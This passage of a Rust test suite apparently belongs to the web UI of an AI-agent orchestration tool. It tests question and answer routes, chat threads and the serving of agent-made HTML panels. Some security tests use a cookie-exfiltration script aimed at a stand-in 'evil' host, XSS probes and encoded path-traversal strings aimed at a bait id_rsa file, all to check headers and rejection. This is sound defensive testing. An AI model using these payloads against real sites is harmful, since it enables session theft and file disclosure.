7100 ..Config::default()
7101 }
7102 }
7103
7104 fn plain_question(seat: &str) -> Question {
7105 Question::new(
7106 String::new(),
7107 "n".to_owned(),
7108 seat.to_owned(),
7109 "s".to_owned(),
7110 String::new(),
7111 Vec::new(),
7112 )
7113 }
7114
7115 #[test]
7116 fn deputies_enabled_follows_the_config() {
7117 let on = stub_config();
7118 assert!(crate::deputy::can_start(Some(&on), ""));
7119 assert!(crate::deputy::can_start(Some(&on), "stub"));
7120 let mut off = on.clone();
7121 off.daemon.max_deputies = 0;
7122 assert!(!crate::deputy::can_start(Some(&off), ""));
7123 let mut empty = on;
7124 empty.agents.clear();
7125 assert!(!crate::deputy::can_start(Some(&empty), ""));
7126 assert!(!crate::deputy::can_start(None, ""));
7127 }
7128
7129 #[test]
7130 fn question_views_load_the_config_once() {
7131 let dir = TempDir::new().unwrap();
7132 let store = ask::Questions::at(dir.path().to_path_buf());
7133 let mut with_deputy = plain_question("b");
7134 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7135 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7136
7137 let calls = std::cell::Cell::new(0usize);
7138 let views = question_views(qs.clone(), &store, || {
7139 calls.set(calls.get() + 1);
7140 Some(stub_config())
7141 });
7142 assert_eq!(calls.get(), 1);
7143 assert_eq!(views.len(), 3);
7144 for (v, q) in views.iter().zip(&qs) {
7145 assert_eq!(
7146 v.deputies_enabled,
7147 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7148 );
7149 }
7150
7151 let views = question_views(qs, &store, || None);
7152 assert!(views.iter().all(|v| !v.deputies_enabled));
7153
7154 let calls = std::cell::Cell::new(0usize);
7155 let views = question_views(Vec::new(), &store, || {
7156 calls.set(calls.get() + 1);
7157 None
7158 });
7159 assert!(views.is_empty());
7160 assert_eq!(calls.get(), 0);
7161 }
7162
7163 use pretty_assertions::assert_eq;
7164 use serde_json::Value;
7165 use tempfile::TempDir;
7166 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7167
7168 use super::*;
7169 use crate::config::Config;
7170 use crate::queue::Source;
7171
7172 const SETTLE_STEPS: usize = 3_000;
7183
7184 struct Fixture {
7190 home: TempDir,
7191 addr: SocketAddr,
7192 }
7193
7194 impl Fixture {
7195 async fn start() -> Self {
7196 Self::with_loop(launch_idle).await
7197 }
7198
7199 async fn with_loop(launch: Launch) -> Self {
7201 let home = TempDir::new().expect("temp home");
7202 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7203 Self { home, addr }
7204 }
7205
7206 async fn with_repo(repo: PathBuf) -> Self {
7210 let home = TempDir::new().expect("temp home");
7211 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7212 Self { home, addr }
7213 }
7214
7215 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7218 let home = TempDir::new().expect("temp home");
7219 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7220 Self { home, addr }
7221 }
7222
7223 async fn serve(
7224 home: &FsPath,
7225 repo: PathBuf,
7226 launch: Launch,
7227 machine: Option<PathBuf>,
7228 ) -> SocketAddr {
7229 let queue = Queue::at(home.join("queue"));
7230 let runs = home.join("runs");
7231 std::fs::create_dir_all(&runs).expect("runs dir");
7232 let worktrees = home.join("wt").join("magi");
7233 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7234 let ui = Ui::new(
7235 queue,
7236 Questions::at(home.join("questions")),
7237 Talks::at(home.join("talks")),
7238 runs,
7239 home.to_path_buf(),
7240 repo,
7241 )
7242 .with_worktrees_root(worktrees)
7243 .with_machine_config(machine)
7244 .with_launch(launch);
7245 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7246 .await
7247 .expect("bind loopback");
7248 let addr = listener.local_addr().expect("local addr");
7249 tokio::spawn(async move {
7250 let _ = axum::serve(listener, ui.router()).await;
7251 });
7252 addr
7253 }
7254
7255 fn queue(&self) -> Queue {
7256 Queue::at(self.home.path().join("queue"))
7257 }
7258
7259 fn questions(&self) -> Questions {
7260 Questions::at(self.home.path().join("questions"))
7261 }
7262
7263 fn talks(&self) -> Talks {
7264 Talks::at(self.home.path().join("talks"))
7265 }
7266
7267 fn runs(&self) -> PathBuf {
7268 self.home.path().join("runs")
7269 }
7270
7271 async fn get(&self, path: &str) -> Res {
7272 request(self.addr, "GET", path, None).await
7273 }
7274
7275 async fn head(&self, path: &str) -> Res {
7280 request(self.addr, "HEAD", path, None).await
7281 }
7282
7283 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7284 request(self.addr, "POST", path, body).await
7285 }
7286
7287 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7288 request_with(self.addr, "GET", path, None, extra).await
7289 }
7290
7291 async fn delete(&self, path: &str) -> Res {
7292 request(self.addr, "DELETE", path, None).await
7293 }
7294
7295 async fn put(&self, path: &str, body: &str) -> Res {
7296 request(self.addr, "PUT", path, Some(body)).await
7297 }
7298
7299 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7301 request_bytes(self.addr, path, headers, body).await
7302 }
7303 }
7304
7305 struct Res {
7306 status: u16,
7307 headers: String,
7308 head: String,
7313 body: String,
7314 bytes: Vec<u8>,
7318 }
7319
7320 impl Res {
7321 fn json(&self) -> Value {
7322 serde_json::from_str(&self.body)
7323 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7324 }
7325
7326 fn header(&self, name: &str) -> Option<&str> {
7328 self.head.lines().find_map(|line| {
7329 let (key, value) = line.split_once(':')?;
7330 key.trim()
7331 .eq_ignore_ascii_case(name)
7332 .then(|| value.trim_start().trim_end_matches('\r'))
7333 })
7334 }
7335 }
7336
7337 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7340 request_with(addr, method, path, body, &[]).await
7341 }
7342
7343 async fn request_with(
7347 addr: SocketAddr,
7348 method: &str,
7349 path: &str,
7350 body: Option<&str>,
7351 extra: &[(&str, &str)],
7352 ) -> Res {
7353 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7354 for (name, value) in extra {
7355 head.push_str(&format!("{name}: {value}\r\n"));
7356 }
7357 if let Some(body) = body {
7358 head.push_str("Content-Type: application/json\r\n");
7359 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7360 }
7361 head.push_str("\r\n");
7362 if let Some(body) = body {
7363 head.push_str(body);
7364 }
7365 let mut socket = tokio::net::TcpStream::connect(addr)
7366 .await
7367 .expect("connect to the test server");
7368 socket
7369 .write_all(head.as_bytes())
7370 .await
7371 .expect("write request");
7372 let mut raw = Vec::new();
7373 socket.read_to_end(&mut raw).await.expect("read response");
7374 let split = raw
7377 .windows(4)
7378 .position(|w| w == b"\r\n\r\n")
7379 .expect("a header block");
7380 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7381 let bytes = raw[split + 4..].to_vec();
7382 let status = head
7383 .lines()
7384 .next()
7385 .and_then(|line| line.split_whitespace().nth(1))
7386 .and_then(|code| code.parse().ok())
7387 .expect("a status line");
7388 Res {
7389 status,
7390 headers: head.to_lowercase(),
7391 head,
7392 body: String::from_utf8_lossy(&bytes).into_owned(),
7393 bytes,
7394 }
7395 }
7396
7397 async fn request_bytes(
7403 addr: SocketAddr,
7404 path: &str,
7405 headers: &[(&str, &str)],
7406 body: &[u8],
7407 ) -> Res {
7408 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7409 for (name, value) in headers {
7410 head.push_str(&format!("{name}: {value}\r\n"));
7411 }
7412 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7413 let mut socket = tokio::net::TcpStream::connect(addr)
7414 .await
7415 .expect("connect to the test server");
7416 socket
7417 .write_all(head.as_bytes())
7418 .await
7419 .expect("write request head");
7420 socket.write_all(body).await.expect("write request body");
7421 let mut raw = Vec::new();
7422 socket.read_to_end(&mut raw).await.expect("read response");
7423 let split = raw
7424 .windows(4)
7425 .position(|w| w == b"\r\n\r\n")
7426 .expect("a header block");
7427 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7428 let bytes = raw[split + 4..].to_vec();
7429 let status = head
7430 .lines()
7431 .next()
7432 .and_then(|line| line.split_whitespace().nth(1))
7433 .and_then(|code| code.parse().ok())
7434 .expect("a status line");
7435 Res {
7436 status,
7437 headers: head.to_lowercase(),
7438 head,
7439 body: String::from_utf8_lossy(&bytes).into_owned(),
7440 bytes,
7441 }
7442 }
7443
7444 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7446 let mut state = RunState::new(
7447 PathBuf::from("/repo/magi"),
7448 "main".to_owned(),
7449 "0123456789abcdef".to_owned(),
7450 "Add a web UI\n\nMobile first.".to_owned(),
7451 Config::default(),
7452 );
7453 state.id = id.to_owned();
7454 state.status = status;
7455 let dir = runs.join(id);
7456 std::fs::create_dir_all(&dir).expect("run dir");
7457 std::fs::write(
7458 dir.join("run.json"),
7459 serde_json::to_string_pretty(&state).expect("serialize run"),
7460 )
7461 .expect("write run.json");
7462 }
7463
7464 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7468 let mut state = RunState::new(
7469 PathBuf::from(repo),
7470 "main".to_owned(),
7471 "0123456789abcdef".to_owned(),
7472 "task".to_owned(),
7473 Config::default(),
7474 );
7475 state.id = id.to_owned();
7476 state.status = status;
7477 let dir = runs.join(id);
7478 std::fs::create_dir_all(&dir).expect("run dir");
7479 std::fs::write(
7480 dir.join("run.json"),
7481 serde_json::to_string_pretty(&state).expect("serialize run"),
7482 )
7483 .expect("write run.json");
7484 }
7485
7486 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7487 let body = serde_json::json!({
7488 "schema": 1,
7489 "pid": 4242,
7490 "started_at": Timestamp::now().to_string(),
7491 "updated_at": updated_at.to_string(),
7492 "idle": false,
7493 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7494 "completed": 7,
7495 "polls": 143,
7496 });
7497 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7498 }
7499
7500 fn launch_idle(
7510 _opts: daemon::Opts,
7511 stop: daemon::Stop,
7512 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7513 Box::pin(async move {
7514 while !stop.stopped() {
7515 tokio::time::sleep(Duration::from_millis(2)).await;
7516 }
7517 Ok(())
7518 })
7519 }
7520
7521 fn launch_broken(
7524 _opts: daemon::Opts,
7525 _stop: daemon::Stop,
7526 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7527 Box::pin(async {
7528 Err(anyhow::anyhow!(
7529 "publish the daemon status file: read-only file system"
7530 ))
7531 })
7532 }
7533
7534 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7541 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7542
7543 fn launch_knocking_on_the_way_out(
7550 _opts: daemon::Opts,
7551 stop: daemon::Stop,
7552 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7553 Box::pin(async move {
7554 while !stop.stopped() {
7555 tokio::time::sleep(Duration::from_millis(2)).await;
7556 }
7557 let addr = PARK_KNOCK
7558 .lock()
7559 .expect("park knock")
7560 .expect("the test set an address");
7561 let heard = request(addr, "GET", "/api/health", None).await.status;
7562 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7563 Ok(())
7564 })
7565 }
7566
7567 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7576 for _ in 0..SETTLE_STEPS {
7577 let view = fx.get("/api/loop").await.json();
7578 if want(&view) {
7579 return view;
7580 }
7581 tokio::time::sleep(Duration::from_millis(10)).await;
7582 }
7583 panic!(
7584 "the loop never settled: {}",
7585 fx.get("/api/loop").await.json()
7586 );
7587 }
7588
7589 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7591 let store = fx.questions();
7592 let mut q = Question::new(
7593 "20260902-000000-beef".to_owned(),
7594 "implement".to_owned(),
7595 "impl-A".to_owned(),
7596 summary.to_owned(),
7597 "because it matters".to_owned(),
7598 choices.iter().map(|c| (*c).to_owned()).collect(),
7599 );
7600 store.put(&mut q).expect("put question");
7601 q.id
7602 }
7603
7604 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7610 let store = fx.questions();
7611 let mut q = Question::new(
7612 "20260902-000000-beef".to_owned(),
7613 "land".to_owned(),
7614 "fix".to_owned(),
7615 "Merge this?".to_owned(),
7616 "the diff is in the panel".to_owned(),
7617 vec!["merge".to_owned(), "hold".to_owned()],
7618 );
7619 let staging = fx.home.path().join("staging");
7622 std::fs::create_dir_all(&staging).expect("staging dir");
7623 let sources: Vec<PathBuf> = assets
7624 .iter()
7625 .map(|(name, bytes)| {
7626 let path = staging.join(name);
7627 std::fs::write(&path, bytes).expect("write staged asset");
7628 path
7629 })
7630 .collect();
7631 store
7632 .put_panel(&mut q, html, &sources)
7633 .expect("write the panel");
7634 store.put(&mut q).expect("put question");
7635 q.id
7636 }
7637
7638 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7647 seed_talk_at(&fx.talks(), id, status)
7648 }
7649
7650 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7651 std::fs::create_dir_all(store.root()).expect("talks dir");
7652 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7653 .expect("serialize a seat");
7654 let body = serde_json::json!({
7655 "schema": 1,
7656 "id": id,
7657 "repo": "/repo/magi",
7658 "agent": "mock",
7659 "status": status,
7660 "turns": [],
7661 "created_at": Timestamp::now().to_string(),
7662 "updated_at": Timestamp::now().to_string(),
7663 "seat": seat,
7664 });
7665 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7666 store.get(id).expect("the seeded talk has to be readable");
7667 id.to_owned()
7668 }
7669
7670 #[tokio::test]
7671 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7672 let fx = Fixture::start().await;
7673 let id = panel(
7674 &fx,
7675 "<h1>Merge?</h1><img src=\"diff.svg\">",
7676 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7677 );
7678
7679 for path in [
7680 format!("/api/questions/{id}/panel"),
7681 format!("/api/questions/{id}/asset/diff.svg"),
7682 ] {
7683 let res = fx.get(&path).await;
7684 assert_eq!(res.status, 200, "{path}: {}", res.body);
7685 assert_eq!(
7691 res.header("content-security-policy"),
7692 Some(
7693 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7694 font-src data:; base-uri 'none'; form-action 'none'; \
7695 frame-ancestors 'self'"
7696 ),
7697 "{path} is the only thing between a hostile panel and the tailnet"
7698 );
7699 assert_eq!(
7700 res.header("x-content-type-options"),
7701 Some("nosniff"),
7702 "{path}: a browser must not re-decide the type we sent"
7703 );
7704 assert_eq!(
7705 res.header("referrer-policy"),
7706 Some("no-referrer"),
7707 "{path}: a panel must not leak the question id off the machine"
7708 );
7709
7710 let pre = fx.head(&path).await;
7715 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7716 assert_eq!(
7717 pre.header("content-security-policy"),
7718 res.header("content-security-policy"),
7719 "{path}: the preflight carries the same policy"
7720 );
7721 assert_eq!(
7722 pre.header("content-type"),
7723 res.header("content-type"),
7724 "{path}: the preflight carries the same type"
7725 );
7726 }
7727 }
7728
7729 #[tokio::test]
7730 async fn a_panel_reaches_the_browser_byte_for_byte() {
7731 let fx = Fixture::start().await;
7732 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7737 let id = panel(&fx, html, &[]);
7738
7739 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7740
7741 assert_eq!(res.status, 200);
7742 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7743 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7744 assert_eq!(
7745 res.header("content-disposition"),
7746 None,
7747 "the panel itself is rendered in the frame, not downloaded"
7748 );
7749 }
7750
7751 #[tokio::test]
7752 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7753 let fx = Fixture::start().await;
7754 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7755 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7756 let id = panel(
7757 &fx,
7758 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7759 &[("diff.svg", svg), ("shot.png", png)],
7760 );
7761
7762 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7763 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7764
7765 assert_eq!(as_svg.status, 200);
7766 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7767 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7772
7773 assert_eq!(as_png.status, 200);
7774 assert_eq!(as_png.header("content-type"), Some("image/png"));
7775 assert_eq!(
7776 as_png.header("content-disposition"),
7777 None,
7778 "a raster image has no execution surface, so tapping it still shows it"
7779 );
7780 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7781 }
7782
7783 #[tokio::test]
7784 async fn an_html_asset_is_never_served_as_html() {
7785 let fx = Fixture::start().await;
7786 let id = panel(
7787 &fx,
7788 "<p>see the notes</p>",
7789 &[
7790 (
7791 "notes.html",
7792 b"<script>fetch('http://evil/'+document.cookie)</script>",
7793 ),
7794 ("hook.js", b"fetch('http://evil/')"),
7795 ("data.json", b"{}"),
7796 ("HEADLINE.TXT", b"plain"),
7797 ],
7798 );
7799
7800 for name in ["notes.html", "hook.js", "data.json"] {
7801 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7802 assert_eq!(res.status, 200, "{name}: {}", res.body);
7803 assert_eq!(
7808 res.header("content-type"),
7809 Some("application/octet-stream"),
7810 "{name} must not be a type the browser will execute or render"
7811 );
7812 }
7813 let txt = fx
7816 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7817 .await;
7818 assert_eq!(
7819 txt.header("content-type"),
7820 Some("text/plain; charset=utf-8")
7821 );
7822 }
7823
7824 #[tokio::test]
7825 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7826 let fx = Fixture::start().await;
7827 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7828 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7832
7833 for encoded in [
7840 "%2e%2e%2fid_rsa",
7841 "..%2fid_rsa",
7842 "..%5cid_rsa",
7843 "%2e%2e%5cid_rsa",
7844 "diff%00.svg",
7845 "..",
7846 ".hidden",
7847 "%2e%2e%2f%2e%2e%2fid_rsa",
7848 ] {
7849 let res = fx
7850 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7851 .await;
7852 assert_eq!(
7853 res.status, 400,
7854 "`{encoded}` has to be refused by name, not looked up: {}",
7855 res.body
7856 );
7857 assert!(res.json()["error"].is_string(), "{}", res.body);
7858 }
7859
7860 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7866 let res = fx
7867 .get(&format!("/api/questions/{id}/asset/{literal}"))
7868 .await;
7869 assert_eq!(
7870 res.status, 404,
7871 "`{literal}` must not match the asset route at all: {}",
7872 res.body
7873 );
7874 }
7875 }
7876
7877 #[tokio::test]
7878 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7879 let fx = Fixture::start().await;
7880 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7881 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7882
7883 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7887 assert_eq!(none.status, 404, "{}", none.body);
7888 assert!(none.json()["error"].is_string(), "{}", none.body);
7889 assert_eq!(
7890 fx.head(&format!("/api/questions/{plain}/panel"))
7891 .await
7892 .status,
7893 404,
7894 "the preflight is the only way the client can learn this"
7895 );
7896
7897 let missing = fx
7899 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7900 .await;
7901 assert_eq!(missing.status, 404, "{}", missing.body);
7902 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7903
7904 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7906 assert_eq!(
7907 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7908 404
7909 );
7910 }
7911
7912 #[tokio::test]
7913 async fn a_run_with_an_open_question_reads_as_waiting() {
7914 let fx = Fixture::start().await;
7915 let run = "20260902-000000-beef".to_owned();
7916 write_run(&fx.runs(), &run, RunStatus::Implementing);
7917
7918 let before = fx.get("/api/runs").await.json();
7919 assert_eq!(before[0]["waiting"], false, "{before}");
7920
7921 let store = fx.questions();
7922 let mut q = Question::new(
7923 run.clone(),
7924 "implement".to_owned(),
7925 "impl-A".to_owned(),
7926 "Which backend?".to_owned(),
7927 String::new(),
7928 vec!["SQLite".to_owned()],
7929 );
7930 store.put(&mut q).expect("put");
7931
7932 let during = fx.get("/api/runs").await.json();
7933 assert_eq!(during[0]["waiting"], true, "{during}");
7934
7935 q.answer(Answer::Choice("SQLite".to_owned()))
7938 .expect("answer");
7939 store.put(&mut q).expect("put");
7940 let after = fx.get("/api/runs").await.json();
7941 assert_eq!(after[0]["waiting"], false, "{after}");
7942 }
7943
7944 #[tokio::test]
7945 async fn an_open_question_is_listed_and_counted_by_health() {
7946 let fx = Fixture::start().await;
7947 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7948
7949 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7950 let listed = fx.get("/api/questions").await.json();
7951 assert_eq!(listed.as_array().expect("array").len(), 1);
7952 assert_eq!(listed[0]["id"], id);
7953 assert_eq!(listed[0]["status"], "open");
7954 assert_eq!(listed[0]["choices"][1], "Redis");
7955 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7958 }
7959
7960 #[tokio::test]
7961 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7962 let fx = Fixture::start().await;
7963 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7964 let path = format!("/api/questions/{id}/answer");
7965
7966 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7967 assert_eq!(res.status, 200, "{}", res.body);
7968 let body = res.json();
7969 assert_eq!(body["status"], "answered");
7970 assert_eq!(body["answer"]["choice"], "Redis");
7971
7972 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7976 assert_eq!(again.status, 409, "{}", again.body);
7977 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7978 }
7979
7980 #[tokio::test]
7981 async fn saying_something_appends_a_turn_without_answering() {
7982 let fx = Fixture::start().await;
7983 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7984 let path = format!("/api/questions/{id}/say");
7985
7986 let res = fx
7987 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7988 .await;
7989 assert_eq!(res.status, 200, "{}", res.body);
7990 let body = res.json();
7991 assert_eq!(body["status"], "open", "talking back is not a decision");
7992 assert_eq!(body["answer"], Value::Null);
7993 assert_eq!(body["thread"][0]["who"], "operator");
7994 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7995 assert_eq!(body["waiting_on_agent"], true);
7996 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7998 }
7999
8000 #[tokio::test]
8001 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8002 let fx = Fixture::start().await;
8003 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8004
8005 let list = fx.get("/api/questions").await.json();
8006 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8007
8008 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8009 assert_eq!(res.status, 409, "{}", res.body);
8010 let q = fx.questions().get(&id).unwrap();
8011 assert!(q.status.open());
8012 assert!(q.consult.is_none());
8013 }
8014
8015 #[tokio::test]
8016 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8017 let fx = Fixture::start().await;
8018 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8019 let cfg = Config {
8020 agents: vec![crate::config::AgentSpec {
8021 id: "mock".to_owned(),
8022 kind: crate::config::AgentKind::Command,
8023 model: None,
8024 command: vec!["true".to_owned()],
8025 extra_args: Vec::new(),
8026 env: Default::default(),
8027 prompt_delivery: None,
8028 }],
8029 ..Config::default()
8030 };
8031 let talk = crate::talk::begin(
8032 &fx.talks(),
8033 &cfg,
8034 fx.home.path().to_path_buf(),
8035 Some("mock"),
8036 )
8037 .unwrap();
8038 let mut task = Task::new(
8039 "t".to_owned(),
8040 "Do it".to_owned(),
8041 PathBuf::from("/repo/magi"),
8042 Source::Agent {
8043 run: talk.id.clone(),
8044 node: crate::queue::CHAT_NODE.to_owned(),
8045 },
8046 );
8047 task.start("20260902-000000-beef".to_owned());
8048 fx.queue().put(&mut task).unwrap();
8049
8050 let list = fx.get("/api/questions").await.json();
8051 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8052 assert_eq!(
8053 list[0]["choices"],
8054 serde_json::json!(["SQLite", "Redis"]),
8055 "the hand-over is never a choice"
8056 );
8057 let _ = id;
8058 }
8059
8060 #[tokio::test]
8061 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8062 let fx = Fixture::start().await;
8063 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8064 let cfg = Config {
8065 agents: vec![crate::config::AgentSpec {
8066 id: "mock".to_owned(),
8067 kind: crate::config::AgentKind::Command,
8068 model: None,
8069 command: vec!["true".to_owned()],
8070 extra_args: Vec::new(),
8071 env: Default::default(),
8072 prompt_delivery: None,
8073 }],
8074 ..Config::default()
8075 };
8076 let repo = fx.home.path().join("chat-repo");
8078 std::fs::create_dir_all(&repo).unwrap();
8079 let toml = repo.join("magi.toml");
8080 std::fs::write(&toml, "this is = = not toml").unwrap();
8081 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8082 let mut task = Task::new(
8083 "t".to_owned(),
8084 "Do it".to_owned(),
8085 PathBuf::from("/repo/magi"),
8086 Source::Agent {
8087 run: talk.id.clone(),
8088 node: crate::queue::CHAT_NODE.to_owned(),
8089 },
8090 );
8091 task.start("20260902-000000-beef".to_owned());
8092 fx.queue().put(&mut task).unwrap();
8093
8094 let path = format!("/api/questions/{id}/consult");
8095 let res = fx.post(&path, None).await;
8096 assert!(res.status >= 400, "{}", res.body);
8097 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8098 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8099
8100 std::fs::write(&toml, "").unwrap();
8101 let res = fx.post(&path, None).await;
8102 assert_eq!(res.status, 202, "{}", res.body);
8103 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8104 }
8105
8106 #[tokio::test]
8107 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8108 let fx = Fixture::start().await;
8109 let store = fx.questions();
8110 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8111 assert_eq!(
8112 fx.get("/api/health").await.json()["questions_needs_owner"],
8113 1
8114 );
8115
8116 let res = fx
8122 .post(
8123 &format!("/api/questions/{id}/say"),
8124 Some(r#"{"body":"why not Postgres?"}"#),
8125 )
8126 .await;
8127 assert_eq!(res.status, 200, "{}", res.body);
8128 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8129 assert_eq!(
8130 fx.get("/api/health").await.json()["questions_needs_owner"],
8131 0,
8132 "waiting on the agent is not waiting on the owner"
8133 );
8134
8135 let mut q = store.get(&id).expect("get");
8139 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8140 .expect("reply");
8141 store.put(&mut q).expect("put");
8142 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8143 assert_eq!(
8144 fx.get("/api/health").await.json()["questions_needs_owner"],
8145 1,
8146 "the agent's reply is what should light the banner back up"
8147 );
8148 }
8149
8150 #[tokio::test]
8151 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8152 let fx = Fixture::start().await;
8153 let store = fx.questions();
8154
8155 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8156 let res = fx
8157 .post(
8158 &format!("/api/questions/{empty_id}/say"),
8159 Some(r#"{"body":" "}"#),
8160 )
8161 .await;
8162 assert_eq!(res.status, 400, "{}", res.body);
8163
8164 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8165 let mut answered = store.get(&answered_id).expect("get");
8166 answered
8167 .answer(Answer::Choice("SQLite".to_owned()))
8168 .expect("answer");
8169 store.put(&mut answered).expect("put");
8170 let res = fx
8171 .post(
8172 &format!("/api/questions/{answered_id}/say"),
8173 Some(r#"{"body":"still there?"}"#),
8174 )
8175 .await;
8176 assert_eq!(res.status, 409, "{}", res.body);
8177
8178 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8179 let mut abandoned = store.get(&abandoned_id).expect("get");
8180 abandoned.abandon("timed out");
8181 store.put(&mut abandoned).expect("put");
8182 let res = fx
8183 .post(
8184 &format!("/api/questions/{abandoned_id}/say"),
8185 Some(r#"{"body":"still there?"}"#),
8186 )
8187 .await;
8188 assert_eq!(res.status, 409, "{}", res.body);
8189 }
8190
8191 #[tokio::test]
8192 async fn an_answer_the_question_does_not_offer_is_refused() {
8193 let fx = Fixture::start().await;
8194 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8195 let path = format!("/api/questions/{id}/answer");
8196
8197 for body in [
